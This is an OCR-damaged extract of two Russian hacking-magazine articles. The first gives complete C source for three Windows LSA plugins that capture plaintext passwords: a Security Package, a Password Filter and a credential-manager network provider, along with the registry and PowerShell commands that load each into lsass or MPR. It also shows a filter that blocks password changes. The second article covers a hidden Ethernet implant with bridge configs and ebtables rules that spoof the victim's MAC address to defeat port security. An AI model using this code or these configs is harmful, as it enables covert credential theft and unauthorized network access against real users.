параметр функции, указав свое имя. Это имя LSA использует, чтобы опре-
делить, к какому AP хочет получить доступ программа, путем вызова
LsaLookupAuthenticationPackage().

LSA_DISPATCH_TABLE DispatchTable;
NTSTATUS LsaApInitializePackage(_In_ ULONG
AuthenticationPackageId, _In_ PLSA_DISPATCH_TABLE
LsaDispatchTable, _In_opt_ PLSA_STRING Database, _In_opt_
PLSA_STRING Confidentiality, _Out_ PLSA_STRING*
AuthenticationPackageName)
{
// Сохраняем адреса функций
DispatchTable.CreateLogonSession = LsaDispatchTable->
CreateLogonSession;
DispatchTable.DeleteLogonSession = LsaDispatchTable->
DeleteLogonSession;
DispatchTable.AddCredential = LsaDispatchTable->AddCredential;
DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials;
DispatchTable.DeleteCredential = LsaDispatchTable->
DeleteCredential;
DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap
;
DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap;
DispatchTable.AllocateClientBuffer = LsaDispatchTable->
AllocateClientBuffer;
DispatchTable.FreeClientBuffer = LsaDispatchTable->
FreeClientBuffer;
DispatchTable.CopyToClientBuffer = LsaDispatchTable->
CopyToClientBuffer;
DispatchTable.CopyFromClientBuffer = LsaDispatchTable->
CopyFromClientBuffer;

// Возвращаем имя нашего AP


(*AuthenticationPackageName) = (LSA_STRING*)LsaDispatchTable->
AllocateLsaHeap(sizeof(LSA_STRING));

if (NULL != (*AuthenticationPackageName))
{

(*AuthenticationPackageName) = (LSA_STRING*)
LsaDispatchTable->AllocateLsaHeap(sizeof(LSA_STRING));

(*AuthenticationPackageName)->Buffer = (char*)
LsaDispatchTable->AllocateLsaHeap((ULONG)strlen
("myssp") + 1);

if (NULL != (*AuthenticationPackageName)->Buffer)
{

(*AuthenticationPackageName)->Length =
strlen("myssp");

(*AuthenticationPackageName)->MaximumLength =
strlen("myssp") + 1;

strcpy(
(*AuthenticationPackageName)->Buffer,
"myssp");

return 0x00000000L; // STATUS_SUCCESS

}
return 0xC0000002; // STATUS_NOT_IMPLEMENTED
}
}

ÝÊÑÏËÓÀÒÀÖÈß

Теперь, изучив теорию, можно злоупотреблять этими самыми кирпичиками


системы безопасности Windows. Начнем с классического способа, который
присутствует даже в mimikatz. Это стандартное внедрение SP с целью перех-
вата учетных данных.

Êàê äåáàæèòü?
Многие функции, которые мы будем использовать, возвращают либо
NTSTATUS, либо SECURITY_STATUS. Чтобы понять, что сломалось, в первом
случае можно воспользоваться функцией LsaNtStatusToWinError():

ULONG LsaNtStatusToWinError(
[in] NTSTATUS Status
);

После этого анализируем значение ULONG и сравниваем с кодами ошибок


Win32.
В случае SECURITY_STATUS все чуточку сложнее. Как интерпретировать
его исходное значение, вообще непонятно. Например, пусть в нашем коде
функция AddSecurityPackage() валится каждый раз с ошибкой
-2146893051. Чтобы понять, что эта ошибка означает, нужно конвертировать
ее в Hex, получим 80090305. После чего следует поискать ее в sspi.h, добавив
0x в начало, а букву L в конец.

Описание ошибки

Ïåðåõâàò ïàðîëÿ ñ ïîìîùüþ âíåäðåíèÿ Security Package


Òðåáîâàíèÿ
Наш SP для корректной работы должен удовлетворять следующим требова-
ниям:
1. Реализован в виде библиотеки DLL.
2. Имеет функции SpLsaModeInitialize(), SpGetInfo(),
SpInitialize(), SpAcceptCredentials().
3. Имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86.

Çàãðóçêà â ñèñòåìó
Первый вариант самый простой. Мы будем использовать функцию
AddSecurityPackage(), что позволит загрузить SP в систему буквально
одним кликом:

SECURITY_STATUS SEC_ENTRY AddSecurityPackageA(


[in] LPSTR pszPackageName,
[in] PSECURITY_PACKAGE_OPTIONS pOptions
);

Вот пример загрузки:

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")

int main()
{
char packagePath[] = "C:\\Windows\\SP.dll";
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo);
if (ss != SEC_E_OK) {
if (ss == SEC_E_SECPKG_NOT_FOUND) {
std::wcout << L"[?] SEC_E_SECPKG_NOT_FOUND received!
Check architecture. U should load x86 DLL into x86 system. x64 DLL
into x64 systems" << std::endl;
return 1;
}
else {
std::wcout << L"[-] AddSecurityPackage failed: " << ss <<
std::endl;
return 1;
}
}
else {
std::wcout << L"[+] AddSecurityPackage Success" << std::endl;
}

return 0;
}

Есть также второй вариант, но он потребует перезагрузки системы. Сначала


помещаем наш SP в папку C:\Windows\System32, а затем изменяем зна-
чение в реестре:

reg add hklm\system\currentcontrolset\control\lsa\ /v "Security


Packages" /d "kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0
"pku2u"\0"SP" /t REG_MULTI_SZ

После перезагрузки LSA прочитает это значение и подгрузит нашу DLL.

Ïðîâåðêà
Чтобы проверить успешность загрузки нашего SP в адресное пространство
процесса lsass.exe, можно воспользоваться функцией
EnumerateSecurityPackages():

void EnumSecPkg() {
SECURITY_STATUS status;
ULONG pcPackages = 0;
SecPkgInfo* secPkgInfo = NULL;
status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo);

if (status != SEC_E_OK) {
wprintf(L"[!] EnumerateSecurityPackages() failed with error:
%i\n", status);
}
std::wcout << L"NAME" << std::setw(50) << L"COMMENT" << std::setw
(40) << L"VERSION" << std::endl;
for (ULONG i = 0; i < pcPackages; i++) {
std::wcout << secPkgInfo[i].Name << std::setw(75 - wcslen(
secPkgInfo[i].Name)) << secPkgInfo[i].Comment << std::setw(20 -
sizeof(secPkgInfo[i].wVersion)) << secPkgInfo[i].wVersion << std::
endl;
}
}

Получение всех загруженных SP

Ïåðåõâàò ïàðîëÿ
В наш SP, кроме стандартных функций для инициализации
(SpLsaModeInitialize(), SpGetInfo(), SpInitialize()), добавим функцию
SpAcceptCredentials(). Эта функция будет вызвана LSA после того,
как пользователь введет верную пару логина и пароля. Код нашего вредонос-
ного SP приобретет следующий вид:

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
#pragma comment(lib, "Secur32.lib")

LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";

HANDLE hLogFile = NULL;


void SpCreateLogFile() {
hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
}

void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {


if (hLogFile == NULL) {
SpCreateLogFile();
}
std::wstring wspFuncName = spFuncName;
std::wstring wfuncName = funcName;
std::wstring wLog;

wLog.append(L"\n").append(wspFuncName).append(L" | ").append(
funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));

DWORD dwNumberWritten = 0;
WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)
, &dwNumberWritten, NULL);
}

NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS


Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
SpMakeLog((LPWSTR)L"SpInitialize", (LPWSTR)L"LsaInvoke", 0);
return 0;
}

NTSTATUS NTAPI SpShutDown(void)


{
SpMakeLog((LPWSTR)L"SpShutDown", (LPWSTR)L"LsaInvoke", 0);

CloseHandle(hLogFile);
return 0;
}

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)


{
SpMakeLog((LPWSTR)L"SpGetInfo", (LPWSTR)L"LsaInvoke", 0);
PackageInfo->fCapabilities = SECPKG_FLAG_NEGOTIABLE |
SECPKG_FLAG_MUTUAL_AUTH | SECPKG_FLAG_LOGON |
SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_RESTRICTED_TOKENS
| SECPKG_FLAG_RESTRICTED_TOKENS
| 0x00000002; // SECPKG_CALLFLAGS_AUTHCAPABLE;
PackageInfo->Name = (SEC_WCHAR*)L"myssp";
PackageInfo->Comment = (SEC_WCHAR*)L"Custom security package
from Russia with love";
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->wVersion = 1;
return 0;
}

NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType,


PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials,
PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
SpMakeLog((LPWSTR)L"SpAcceptCredentials", (LPWSTR)L"LsaInvoke", 0
);

DWORD dwWritten = 0;
WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &
dwWritten, NULL);
WriteFile(hLogFile, L"@", 2, &dwWritten, NULL);
WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer,
PrimaryCredentials->DomainName.Length, &dwWritten, NULL);
WriteFile(hLogFile, L":", 2, &dwWritten, NULL);
WriteFile(hLogFile, PrimaryCredentials->Password.Buffer,
PrimaryCredentials->Password.Length, &dwWritten, NULL);
return 0;
}

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,
SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};

NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG


PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables)
{
SpMakeLog((LPWSTR)L"SpLsaModeInitialize", (LPWSTR)L"LsaInvoke", 0
);
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecurityPackageFunctionTable;
*pcTables = 1;
return 0;
}

Мы добавили лишь логирование полученных в функции


SpAcceptCredentials учетных данных. Поместим любым удобным образом
SP в систему и попробуем отследить вход пользователя.

Успешный вход пользователя

Перехваченные учетные данные

Ïåðåõâàò ïàðîëÿ ñ ïîìîùüþ âíåäðåíèÿ Password Filter


Òðåáîâàíèÿ
Должны быть соблюдены следующие условия:
1. Наш NP реализован в виде библиотеки DLL.
2. В NP реализованы функции NP.
3. NP имеет ту же архитектуру, что и целевая система: х64 для х64,
х86 для х86.
4. Функции объявлены как extern "C" __declspec(dllexport) и имеют
соглашение о вызове __stdcall.

Çàãðóçêà â ñèñòåìó
LSA извлекает список всех пакетов уведомлений из следующего ключа реес-
тра:

reg query "hklm\system\currentcontrolset\control\lsa" /v


"notification packages"

По умолчанию в нем написано только scecli. Для добавления своего NP тре-


буется поместить его в папку C:\Windows\System32, после чего добавить
к этому ключу реестра значение — имя этой самой DLL без расширения .dll:

reg add "hklm\system\currentcontrolset\control\lsa" /v "notification


packages" /d scecli\0passfil /t reg_multi_sz

Ïåðåõâàò ïàðîëÿ
Самый простой код может выглядеть так:

#include <windows.h>
#include <ntsecapi.h>
#include <string>
#include <iostream>

using namespace std;

LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";

HANDLE hLogFile = NULL;


void SpCreateLogFile() {
hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
}

void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {


if (hLogFile == NULL) {
SpCreateLogFile();
}
std::wstring wspFuncName = spFuncName;
std::wstring wfuncName = funcName;
std::wstring wLog;

wLog.append(L"\n").append(wspFuncName).append(L" | ").append(
funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));

DWORD dwNumberWritten = 0;
WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)
, &dwNumberWritten, NULL);
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall


InitializeChangeNotify(void) // Инициализация NP
{
SpMakeLog((LPWSTR)L"InitializeChangeNotify", (LPWSTR)L"LsaInvoke"
, 0);
return TRUE;
}

// Проверка нового пароля


extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName, PUNICODE_STRING FullName,
PUNICODE_STRING Password,BOOLEAN SetOperation)
{
SpMakeLog((LPWSTR)L"PasswordFilter", (LPWSTR)L"LsaInvoke", 0);
SpMakeLog((LPWSTR)AccountName->Buffer, (LPWSTR)Password->Buffer,
0);

return TRUE;
}

// Уведомление об успешной смене пароля на новый


extern "C" __declspec(dllexport) NTSTATUS __stdcall
PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
SpMakeLog((LPWSTR)L"PasswordChangeNotify", (LPWSTR)L"LsaInvoke",
0);

SpMakeLog((LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer,
0);
return 0;
}

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПОСТАВЩИК
НЕБЕЗОПАСНОСТИКАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ

Функции для логирования я скопировал из кода SP. Рассмотрим новые:


• InitializeChangeNotify() — эта функция вызывается LSA в момент,
когда NP успешно загружается в адресное пространство процесса LSA;
• PasswordFilter() — вызывается LSA, когда пользователь решает сме-
нить пароль. В нее попадает в плейнтексте непосредственно сам новый
пароль для проверки;
• PasswordChangeNotify() — вызывается LSA, когда все NP сообщили,
что пароль подходит под их фильтры.

Успешный перехват нового пароля

Çàïðåùàåì ïîëüçîâàòåëÿì ìåíÿòü ïàðîëü


Как ты помнишь, главная функция Password Filter — проверять, что пароль
подходит под все критерии. Мы можем запретить любому пользователю сис-
темы менять пароль, если изменим функцию PasswordFilter() вот так:

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(


PUNICODE_STRING AccountName, PUNICODE_STRING FullName,
PUNICODE_STRING Password,BOOLEAN SetOperation)
{
return FALSE; // Пароль не подходит под критерии
}

В результате новый пароль просто не будет проходить проверку и LSA не раз-


решит сменить пароль.

Невозможно сменить пароль

Ïåðåõâàò ïàðîëÿ ñ ïîìîùüþ äèñïåò÷åðà ó÷åòíûõ äàííûõ


Òåîðèÿ
Диспетчер учетных данных Windows позволяет сохранять учетные данные для,
например, каких-нибудь сайтов. Нам ничто не мешает реализовать собствен-
ный диспетчер учетных данных для получения паролей. Все будет осно-
вываться на специальном компоненте, который называется MPR (Multiple
Provider Router). Он обеспечивает взаимодействие между операционной сис-
темой и различными провайдерами, в их числе — диспетчер учетных данных.
При запуске MPR проверяет реестр в поисках установленных провай-
деров. Причем очень важен порядок расположения провайдеров в реес-
тре — они загружаются строго по очереди. Все указанные в реестре провай-
деры будут загружены в MPR.
При входе пользователя Winlogon вызывает соответствующую функцию
из MPR, который, в свою очередь, дергает каждый диспетчер учетных данных,
уведомляя его о том, что пользователь входит в систему или изменяет пароль
своей учетной записи.
Но, к сожалению, этот способ уже считается устаревшим. Поэтому не могу
гарантировать успешность работы на каждой машине с Windows.

Äîáàâëåíèå â ñèñòåìó
MPR извлекает все доступные провайдеры из следующего ключа реестра:

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

Есть несколько вариантов добавления собственного провайдера. Проще


всего воспользоваться скриптом. Обрати внимание, что в таком случае имя
твоей DLL должно иметь вид spy.dll:

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\


Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",spy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value
$UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy


New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider -Name "Name" -Value spy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider -Name "ProviderPath" -PropertyType ExpandString
-Value "%SystemRoot%\System32\spy.dll"

То же самое можно сделать вручную:


1. Копируем нашу DLL (spy.dll) в папку C:\Windows\System32.
2. Добавляем строку spy в конец ProviderOrder в следующем ключе:

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

3. Создаем ключ:

HKLM\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider

И указываем в нем следующие данные:

"Class" = [REG_DWORD]2
"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\spy.dll"
"Name" = [REG_SZ]"spy"

После чего ты можешь проверить настройки следующим образом:

$providers = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\


Control\NetworkProvider\Order" -Name ProviderOrder

$arrExp=@()
foreach ($prov in ($providers.ProviderOrder -split ','))
{
$row = New-Object psobject
$row | Add-Member -Name "Name" -MemberType NoteProperty -Value
$prov

$dllPath = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\


Services\$prov\NetworkProvider" -Name ProviderPath).ProviderPath
$row | Add-Member -Name "DllPath" -MemberType NoteProperty -Value
$dllPath
$signature = Get-AuthenticodeSignature -FilePath $dllPath
$certSubject = ""
if ($signature.Status.value__ -eq 0) #valid
{
$certSubject = $signature.SignerCertificate.Subject
}
$row | Add-Member -Name "Signer" -MemberType NoteProperty -Value
$certSubject
$row | Add-Member -Name "Version" -MemberType NoteProperty -Value
(Get-Command $dllPath).FileVersionInfo.FileVersion
$row | Add-Member -Name "Description" -MemberType NoteProperty
-Value (Get-Command $dllPath).FileVersionInfo.FileDescription

$arrExp += $row
}

if (Test-Path Variable:PSise)
{
$arrExp | Out-GridView
}
else
{
$arrExp | Format-List
}

Ïåðåõâàò ïàðîëÿ
Для перехвата пароля мы воспользуемся функцией NPLogonNotify(). MPR
вызывает эту функцию для уведомления диспетчера учетных данных о том, что
произошел успешный вход в систему. Диспетчер УД, получив такое сооб-
щение, может вернуть сценарий входа (какой-нибудь скрипт, который должен
выполниться).
Прототип у функции следующий:

DWORD NPLogonNotify(
[in] PLUID lpLogonId,
[in] LPCWSTR lpAuthentInfoType,
[in] LPVOID lpAuthentInfo,
[in] LPCWSTR lpPreviousAuthentInfoType,
[in] LPVOID lpPreviousAuthentInfo,
[in] LPWSTR lpStationName,
[in] LPVOID StationHandle,
[out] LPWSTR *lpLogonScript
);

Обрати внимание на второй параметр (lpAuthentInfoType). В зависимости


от типа входа он будет иметь разные значения:

MSV1_0:Interactive
Kerberos:Interactive

В третьем параметре (lpAuthentInfo), опять же в зависимости от типа вхо-


да, будут лежать разные структуры. В случае MSV1_0 он будет содержать сле-
дующие значения:

typedef struct _MSV1_0_INTERACTIVE_LOGON {


MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;

А в случае «Кербероса» — такие:

typedef struct _KERB_INTERACTIVE_LOGON {


KERB_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} KERB_INTERACTIVE_LOGON, *PKERB_INTERACTIVE_LOGON;

Соответственно, если мы планируем перехватить MSV1_0, воспользуемся


этим кодом:

#include <Windows.h>

#define WNNC_SPEC_VERSION 0x00000001


#define WNNC_SPEC_VERSION51 0x00050001
#define WNNC_NET_TYPE 0x00000002
#define WNNC_START 0x0000000C
#define WNNC_WAIT_FOR_START 0x00000001

typedef struct _UNICODE_STRING


{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef enum _MSV1_0_LOGON_SUBMIT_TYPE


{
MsV1_0InteractiveLogon = 2,
MsV1_0Lm20Logon,
MsV1_0NetworkLogon,
MsV1_0SubAuthLogon,
MsV1_0WorkstationUnlockLogon = 7,
MsV1_0S4ULogon = 12,
MsV1_0VirtualLogon = 82,
MsV1_0NoElevationLogon = 83,
MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

typedef struct _MSV1_0_INTERACTIVE_LOGON


{
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)


{
HANDLE hFile;
DWORD dwWritten;

hFile = CreateFile(TEXT("C:\\spy.txt"),
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile != INVALID_HANDLE_VALUE)
{
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, username->Buffer, username->Length, &
dwWritten, 0);
WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
WriteFile(hFile, password->Buffer, password->Length, &
dwWritten, 0);
WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
CloseHandle(hFile);
}
}

__declspec(dllexport) DWORD APIENTRY NPGetCaps(


DWORD nIndex
)
{
switch (nIndex)
{
case WNNC_SPEC_VERSION:
return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:
return WNNC_CRED_MANAGER;

case WNNC_START:
return WNNC_WAIT_FOR_START;

default:
return 0;
}
}

__declspec(dllexport) DWORD APIENTRY NPLogonNotify(


PLUID lpLogonId,
LPCWSTR lpAuthInfoType,
LPVOID lpAuthInfo,
LPCWSTR lpPrevAuthInfoType,
LPVOID lpPrevAuthInfo,
LPWSTR lpStationName,
LPVOID StationHandle,
LPWSTR* lpLogonScript
)
{
SavePassword(
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
);
lpLogonScript = NULL;
return WN_SUCCESS;
}

После чего выходим из системы. И заново логинимся. Пароль будет сохранен


в файл.

ÂÛÂÎÄÛ

Получить пароль пользователя Windows в чистом виде не очень-то и сложно.


В аутентификации участвует слишком много компонентов, что создает боль-
шую угрозу для безопасности. Но использование поставщиков безопасности
на этом не заканчивается. В следующей статье мы напишем AP, который соз-
даст буквально второй пароль для пользователя, эдакий pam_backdoor
для Windows, а также заставим MSV1_0 пересылать нам учетные данные
не только от интерактивной, но и от неинтерактивной аутентификации.
ВЗЛОМ

ВСТРАИВАЕМСЯ В ЛОКАЛЬНУЮ
СЕТЬ С ПОМОЩЬЮ
«НЕВИДИМОГО»
ХАКЕРСКОГО УСТРОЙСТВА

Получить несанкционированный доступ


к чужому устройству можно не только
с использованием USB-портов, но и через
Ethernet-соединение, которых в современ-
ных офисах предостаточно. В этой статье s0i37
Lead cybersecurity analyst at
мы подробно расскажем, как злоумыш- USSC t.me/s0i37_channel
s0i37@ya.ru
ленники могут пробраться в локальную сеть
с помощью специального «невидимого»
девайса и как этот девайс устроен.

INFO
Эта статья — часть серии публикаций о прак-
тических приемах взлома и атак с использовани-
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос-
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Опасный модем. Закрепляемся
в атакованной системе при помощи USB-
модема».

Сколько раз ты замечал, что где-то в публичном месте стоит принтер, IP-
телефон или даже полноценный компьютер? Все эти устройства объединяет
то, что они, как правило, подключены к местной локальной сети уже знакомой
нам витой парой.

Принтеры, IP-телефоны, ПК — везде могут быть незащищенные Ethernet-


порты

Что, если потенциальный злоумышленник воспользуется оставленным


без внимания сетевым портом и подключит вместо легитимного устройства
некий специальный девайс, который предоставит ему удаленный доступ
из любого уголка мира? Причем подключит это хакерское устройство
не отключая основное, а вклинив его «посередине».

Схема информационных потоков при закреплении через Ethernet-порт

В качестве такого готового устройства можно использовать Packet Squirrel.


Его нетрудно собрать на базе одноплатного компьютера Rock Pi E.

Аппаратное решение для закрепления через Ethernet

Плата идеально подходит под рассматриваемую задачу и не содержит ничего


лишнего: тут два Ethernet-порта, Wi-Fi и USB. Rock Pi E имеет также опци-
ональную поддержку PoE, что позволит использовать устройство без питания
по USB, которого может не оказаться в удобном для подключения месте.
Нам потребуется программный хаб, который будет в точности копировать
каждый принятый пакет с одного Ethernet-порта на другой. Тем самым он поз-
волит вклиниться в сеть вне зависимости от места его подключения. Во вре-
мя пересылки пакетов с одного порта на другой устройство может выполнять
любые действия так, что жертва ничего не заметит. Кроме того, конфигурация
хаба должна отвечать следующим требованиям:
• весь пересылаемый через устройство трафик записывается;
• через сеть, к которой подключается устройство, открывается VPN-туннель
до управляющего сервера, обеспечивая доступ в эту сеть из любого угол-
ка мира;
• с использованием DNS-эксфильтрации открывается еще один VPN-тун-
нель, даже если нет прямого выхода в интернет;
• устройство предоставляет доступ в сеть через встроенный Wi-Fi-адаптер;
• устройство может выйти на связь через подключаемый 4G-модем.

И разумеется, все это должно работать автоматически, сразу после подклю-


чения устройства, так как времени на ручную настройку у злоумышленника
может не быть. Для возможности физического подключения в любом месте
можно использовать дополнительный патч-корд.

Аппаратная закладка

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ДЕВАЙС-НЕВИДИМКАВСТРАИВАЕМСЯ В ЛОКАЛЬНУЮ СЕТЬ С


ПОМОЩЬЮ «НЕВИДИМОГО»
ХАКЕРСКОГО УСТРОЙСТВА

ÐÅÀËÈÇÀÖÈß

Настроить одноплатный ПК таким образом, чтобы он мог вклиниться


в физическое соединение, не так уж и сложно. Сначала нужно отключить
дефолтные компоненты, которые могут нам помешать:

update-rc.d network-manager disable


update-rc.d dhcpcd disable

Теперь необходимо сконфигурировать автоматическое объединение


интерфейсов eth0 и eth1 в сетевой мост:

/etc/network/interfaces
iface eth0 inet manual

iface eth1 inet manual

auto br0
iface br0 inet dhcp
0 bridge_ports eth0 eth1
metric 2

Это минимальная конфигурация. Теперь аппаратная закладка уже готова


работать в режиме прозрачного моста. Все, что придет на один Ethernet-
порт, будет в точности копироваться на другой порт, и наоборот. Но зло-
умышленнику не просто нужно пассивно передавать трафик через устрой-
ство. Оно должно еще как-то предоставить ему удаленный доступ. Для этого
следует внести необходимые настройки внутренней сети. В зависимости
от ситуации можно использовать разные методы.

Äèíàìè÷åñêàÿ íàñòðîéêà ñåòè


Часто компании в своих сетях используют автоматическую настройку сети
посредством DHCP. Получив собственный IP-адрес, устройство будет
не просто «глупым» хабом, оно сможет во время пересылки пакетов еще и
самостоятельно работать в сети.
Поскольку закладка подключается на длительное время, а сети могут
«переезжать» на другие VLAN’ы, в идеале атакующему необходимо сделать
так, чтобы устройство всегда было готово обновить свои сетевые настройки.
Для этого нужно прописать принудительное обновление аренды IP-адреса,
а также регулярный запрос к DHCP-серверу в случае неудачи:

/etc/dhcp/dhclient.conf
send dhcp-lease-time 60;
retry 60;

Ñòàòè÷åñêàÿ íàñòðîéêà ñåòè


Далеко не всегда в локальных сетях присутствует DHCP-сервер. Особенно
это справедливо, если злоумышленник пробрался в серверный или даже тех-
нологический сетевой сегмент и поместил туда свою закладку. В таком слу-
чае он может заранее прописать на устройстве настройки сети:

/etc/network/interfaces
auto br0
iface br0 inet static
bridge_ports eth0 eth1
hwaddress ether 00:11:22:33:44:55
address 10.0.0.10
netmask 255.255.255.0
gateway 10.0.0.1
dns-nameservers 10.0.0.2
dns-search corp.local
metric 2

Port security
В корпоративных сетях на активном сетевом оборудовании часто применя-
ется достаточно простая, но действенная защитная мера, когда доступ
к сетевой розетке разрешен только с определенного MAC-адреса. В таком
случае трафик от жертвы все равно будет проходить, ведь bridge прозрачно
пересылает пакеты с оригинальным MAC-адресом. Но доступа в сеть непос-
редственно с самого Packet Squirrel, использующего дополнительный IP-
адрес, уже не получить.
Однако данное устройство одним концом подключается к ПК жертвы,
а значит, оно знает доверенный MAC-адрес. Следовательно, если в каждом
исходящем пакете от Packet Squirrel на одном порте исправить MAC-адрес
отправителя на MAC-адрес жертвы, а на другом — на MAC-адрес шлюза, то
пакеты станут неотличимы от легитимных.
Реализовать такую, на первый взгляд, простую концепцию на деле
не так-то легко, поскольку требуется, чтобы устройство одновременно
с прозрачной передачей трафика в обе стороны могло и генерировать тра-
фик от лица жертвы. Добиться этого можно было бы, например, так:

sudo ifconfig br0 hw ether "$victim_mac"


sudo ifconfig br0 "$victim_ip/24"
sudo route add -net default gw "$gw_ip"

Так реализуется простое копирование устройством MAC- и IP-адреса жер-


твы. Но увы, в таком случае ядро Packet Squirrel не сможет пересылать пакеты
из-за конфликта одинаковых MAC-адресов. Требуется как-то обмануть ядро.
Можно не менять собственный MAC-адрес устройства, но подменять MAC-
адреса позднее, когда пакеты уже сгенерированы и «вылетают» из сетевой
карты:

sudo ifconfig br0 "$victim_ip/24"


sudo route add default gw "$gw_ip"

#gw direction
sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j
snat --to-src "$victim_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat
--to-dst $(getmac -i br0)

#victim direction
sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j
snat --to-src "$gw_mac" --snat-arp
